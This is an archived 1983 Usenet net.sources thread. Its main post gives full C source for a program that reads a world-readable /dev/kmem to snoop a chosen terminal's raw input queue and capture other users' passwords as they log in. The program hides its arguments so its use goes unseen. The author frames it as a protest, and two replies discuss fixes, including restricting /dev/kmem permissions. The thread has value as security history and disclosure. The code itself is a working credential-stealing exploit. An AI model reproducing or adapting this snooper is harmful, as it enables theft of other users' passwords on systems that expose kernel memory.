[net.sources] A Program To Allow ANYONE To Crack Unix

perry@sbcs.UUCP (Perry Kivolowitz) (11/18/83)

Greeting Programs!

A while back (has it been two years? Jeez I better find a bathroom) some
students at BERKELEY got into  the  news  with  a SO-CALLED crack of the 
unix (tm) operating system. That was no crack! What'd they do? Kid stuff
playing with terminals which have a ``transmit-line'' facility. 

Below  is  a  real  crack. I am not claiming  it  is  a  new  idea  and,
actually, I  send  the  following  only at the prodding of some friends.
In fact, I seem to  remember  someone   sent  something like this before 
(about  a year ago) which  produced  a horrendous torrent of mail to the
net about the merits of having a readable /dev/kmem.

Anyway, the  following  program  accepts  as arguments a major and minor
device number  specifying  a  terminal. Kernel  memory  is  then probed, 
pinched,  and bullied into divulging the raw clists of that terminal  as
the clist is constructed.

The bottom line: ANY USER CAN STEAL ANYONE'S PASSWORD by simply  listen-
ing to the terminal as another user logs in.

Some implementation issues are discussed in the  program  -  for example
race conditions between the snooping process and any process running  on
the targeted terminal.

Note:  The   Rick  and  Lory  mentioned  below  are   my   good  friends 
Rick Spanbauer and  Lory  Molesky  who  are (repsectively) our  engineer
(choo choo) and system administrator. They are mentioned in the code  as
a joke since they always go through my files to see what I am up to.

ASIDE: I would like to make clear a sort of ``You kids at home should'nt
do this...'' message. System administrators (and BERKELEY) should modify
the getpass system subroutine to  operate  in  RAW mode.  This will plug
the hole that this program creates. 

I send this program for two reasons:

	(1)	The  present kernel access methodology is a crock.  This
		submission is a ``protest'' is this respect.

	(2)	I hate the way the media makes a big deal about children
		playing  with  computers. ``Hackers'' they're called. My
		ass. I'd love to be  interviewed  by the 6pm news  about
		computer  crime  - they  would  get the real poop on the 
		matter.

Also,  I   am   protesting (in  a  mild way) the  way  I  am treated  at 
Stony Brook. I, because of my knowledge of the  Unix kernel  etc etc,  I
am consistently  blamed  any  time  so  much  as  a phone line garbles a 
character. (Get out your  violin  please) Really. After  getting Unix to 
work  on  eight  vaxes  and  an  odd  number  of  workstations  all with 
nonstandard  hardware (for no pay) what do I get? All my bennies revoked
thats what! (Enter John Belushi) Am I gonna take it any more? NOOOOOOOO.
Any site out there who appreciates a competent Unix kernel hacker should
feel free to drop me a line. I'd  like  to  finish my PhD (or get a real
salary)  some  place  where  my  talents  will  be  rewarded.  (paranoid 
schizophrenic flame doused -:)

Again,
	This is a protest. NO PERSON WHO HOPES TO  EARN THE (true) TITLE 
``HACKER'' WOULD EVER (EVER) USE THIS PROGRAM FOR MISCHEVIOUS PURPOSES!!
(what crap - I really don't  want  to  send  this  anymore  due  to  its 
volatile nature but I spent all this time typing - oh  well -  into  the 
breach, dear friends....)

P.S. Everyone who has seen anything previously submitted by me should
now  by  now  that  I do so in a good natured, sarcastic way (ie I am 
beginning to think about all the flames I will surely be receiving).

			Perry S. Kivolowitz
			perry@suny-sbcs@CSNet-Relay
			philabs!sbcs!perry
			allegra!sbcs!perry

------------------------------------------------------------------------
#include <stdio.h>
#include <sys/param.h>
#include <sys/clist.h>
#include <sys/tty.h>
#include <nlist.h>
#include <ctype.h>

/**
***	Comments have been added to assist Lory and Rick when they
***	come screaming through my files. Hi Fellas!
**/


#define	NDZ	1		/* should be gotten from /sys/dev/dz.h	*/
#define	NDH	3		/* should be gotten from /sys/dev/dh.h	*/
#define	DZ11	1		/* major device number of the dz11	*/
#define	DH11	12		/* major device number of the dh11	*/
#define	DZ_X	8		/* eight lines per dz11			*/
#define	DH_X	16		/* sixteen lines per dh11		*/

#undef	major()			/* need to do this because of kernel	*/
#undef	minor()			/* macros used to strip off device #'s  */

static struct nlist nl[2];

static char *name_list[] = {
	"_dz_tty" ,		/* base address of the dz tty structures*/
	"_dh11" ,		/* same for the dh's			*/
	0
};

main(argc , argv)
char **argv;
int  argc;
{
					/********************************/
	int major;			/* place to hold major #	*/
	int minor;			/* place to hold minor #	*/
	int board_type;			/* tells me which kind of tty   */
	int fd;				/* fd for memory		*/
	long offset;			/* how far into the above tables*/
	struct tty ttyb;		/* place to put the tty buffer	*/
	extern char *calloc();		/* our friend calloc		*/
	char *p;			/* destroy the argv's so noone  */
					/* can see what we are doing	*/
					/********************************/

	get_args(&major , &minor , argc , argv);
	check_args(major , minor , &board_type , argv);
	get_name_list(board_type , argv);
	open_memory(&fd , argv);
	for (p = argv[1]; *p != '\0'; p++) *p = '\0';
	for (p = argv[2]; *p != '\0'; p++) *p = '\0';
	offset = minor * sizeof(struct tty);
	fflush(stdout);
	fflush(stdout);
	while (1) {
		read_tty(fd , nl[0].n_value , offset , &ttyb);
		get_clist(fd , &ttyb.t_nu.t_t.T_rawq);
	}
}

/**
***	Much monkeying around was done before I settled on this
***	procedure. I attempted to follow the c_next pointers in
***	the individual cblocks. This is friutless since by  the
***	time we do the second seek and read the information has
***	been whisked away.
***
***	So - The LIMITATIONS of this routine are:
***
***		cannot read from any tty in RAW mode
***		can only snarf first 28 characters (ie
***			the first cblock)
***
***	Nice things about this routine:
***
***		only NEW  characters  are  echoed to the output
***		(eg characters  in the cblock which  have  been
***		seen before are swallowed).
**/

get_clist(fd , cl)
register struct clist *cl;
{
	static char c[CBSIZE];
	static char *old_start = 0 , *old_finish = 0;
	static int  old_i = 0;
	char *pntr;
	int tn , in;

	if ((cl->c_cc > 0) &&
	    ((old_start != cl->c_cf) || (old_finish != cl->c_cl))) {
		pntr = c;
		lseek(fd , (long) cl->c_cf , 0);
		read(fd , c ,(tn=in=cl->c_cc > CBSIZE ? CBSIZE : cl->c_cc));
		if (old_start == cl->c_cf) {
			in -= old_i;
			pntr += old_i;
		}
		if (in > 0) while (in--) putchar(*(pntr++));
		else if (in < 0) while (in++) putchar('\010');
		fflush(stdout);
		old_i = tn;
		old_start = cl->c_cf;
		old_finish = cl->c_cl;
	}
	if (cl->c_cc <= 0) {
		if (old_i != 0) putchar('\n');
		old_i = old_start = old_finish = NULL;
	}
}

/**
***	The rest of the routines are very strait forward and
***	Rick and Lory won't need comments.
**/

read_tty(fd , base , offset , buffer)
long base , offset;
register struct tty *buffer;
{
	register int i;

	lseek(fd , base + offset , 0);
	i = read(fd , buffer , sizeof(struct tty));
	if (i != sizeof(struct tty)) {
		printf("unexpected return from read\n");
		printf("should have been %d\n" , sizeof(struct tty));
		printf("was %d\n" , i);
		exit(0);
	}
}

open_memory(fd , argv)
int *fd;
char **argv;
{
	if ((*fd = open("/dev/kmem" , 0)) < 0) {
		perror(argv[0]);
		exit(0);
	}
}

get_name_list(index,argv)
char **argv;
{
	nl[0].n_name = name_list[index];
	nlist("/vmunix" , nl);
	if (! nl[0].n_type) {
		printf("%s: couldn't get name list\n" , argv[0]);
		exit(0);
	}
	printf("%s starts at %08x\n" , nl[0].n_name , nl[0].n_value);
}

get_args(major , minor , argc , argv)
int *major , *minor , argc;
char **argv;
{
	if (argc != 3) {
		fprintf(stderr,"%s: arg count\n" , argv[0]);
		exit(0);
	}
	*major = atoi(argv[1]);
	*minor = atoi(argv[2]);
	printf("Major Device: %d -- Minor Device: %d\n" , *major , *minor);
}

check_args(major , minor , board , argv)
char **argv;
int *board;
{
	if (minor < 0) {
bad_minor:	printf("%s: bad minor device number\n" , argv[0]);
		exit(0);
	}
	switch (major) {

	case DZ11:
			if (minor >= NDZ * DZ_X) goto bad_minor;
			printf("DZ11 - Unit %d\n" , minor / DZ_X);
			*board = 0;
			break;

	case DH11:
			if (minor >= NDH * DH_X) goto bad_minor;
			printf("DH11 - Unit %d\n" , minor / DH_X);
			*board = 1;
			break;

	default:
			printf("%s: bad major device number\n" , argv[0]);
			exit(0);
	}
}

padpowell@wateng.UUCP (PAD Powell [Admin]) (11/19/83)

Congratulations.  I hope that this will prod some rather complacent
individuals into realizing that security problems cannot just be shoved
under a blanket of silence.  The best way to handle security is to have
VIGILENT USERS who are familiar with the nature of problems, and who
can suggest ansers.  I have often wondered when the kernel writers are
going to make kmem readable only by sections.  Which is one valid
solution to this problems.

Patrick Powell,  WATENG System Dictator Pro Tem

henry@utzoo.UUCP (Henry Spencer) (11/20/83)

To summarize very quickly a long flame I sent some months ago when
a similar issue came up:

1. Security/privacy/etc. and a readable kmem are incompatible.

2. Programs which read kmem are unportable, unclean, and unsafe, so
	having a readable kmem isn't all that desirable anyway.

The proper fix is not to make getpass() use raw mode, which can cause
problems of other kinds, but to simply "chmod 0600 /dev/kmem".
-- 
				Henry Spencer @ U of Toronto Zoology
				{allegra,ihnp4,linus,decvax}!utzoo!henry